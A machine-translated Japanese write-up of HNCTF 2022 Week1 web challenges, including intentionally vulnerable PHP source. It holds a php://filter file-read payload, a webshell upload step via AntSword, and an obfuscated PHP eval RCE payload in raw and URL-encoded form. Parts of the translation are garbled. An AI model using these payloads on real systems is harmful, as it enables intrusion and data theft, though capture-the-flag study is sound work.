1週目
[HNCTF 2022 Week1]2048
f12 ソースコードを表示
試合のスコアを見ると、score
スコアの値を変更する
フラグを取得
[HNCTF 2022 Week1]Interesting_include
ソースコードを取得する
<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
PHP 疑似プロトコル、ペイロードの構築:
http://node3.anna.nssctf.cn:28894/?filter=php://filter/read=convert.base64-encode/resource=flag.php
Base64デコードでフラグを取得
[HNCTF 2022 Week1]easy_upload
いや、なぜあなたのラベルはそんなに怖いのですか?? ? 誰だ!!
一言で言えば、トロイの木馬は直接マウントされることに成功しました。
アントソード直結
ルートディレクトリでフラグを取得します
[HNCTF 2022 Week1]easy_html
Cookie に何かがあると思われる場合は、Cookie を確認し、URL をトランスコードしてから、./f14g.php
次の Web サイトにアクセスしてください。
ログインするために携帯電話番号を入力するよう求められ、本来ならどれでも入力したかったのですが、10桁までしか入力できず、ノノノノと表示されてしまいました!
ゲップを使用してパケットをキャプチャし、11 桁を強制的に入力し、パケットを送信してフラグを取得します。
【HNCTF 2022 Week1】Webとは
CTRL+U を押してプルダウンします
Base64デコードでフラグを取得
[HNCTF 2022 Week1]興味深い_http
彼がそれが欲しいと言ったらpost a want
、彼に送ってくださいwant
2 つの単語が与えられたら、必ずフラグを選択してからパッケージを送信してください
ヒント: burp を使用してパケットをキャプチャすると、Cookie に 1 つがあり、値が次のように変更されているNot admin
ことがわかります。user
notadmin
admin
ヒントNo location
、XFF
ヒットを使用
フラグを取得
[HNCTF 2022 Week1]チャレンジ__rce
f12 を押すとヒントが表示されます。?hint
ソースコードを取得するにはヒントに値を渡します
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
ここでは RCE が必要であることが示されていますが、ほとんどのものは除外されています。ここで使用できるのは です$()+,.0123456789;=[]_{}
。自增RCE
RCE の自己増加については、次の記事を参照してください: CTFshow-RCE Extreme Challenge wp
ペイロードを直接配置します。
rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
ただし通過時に行う必要がありますurl编码
%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
そして、渡すときは、次のように1
sumを渡す必要があります。2
次に、2
値を次のように変更します。cat /ffflllaaaggg
フラグを取得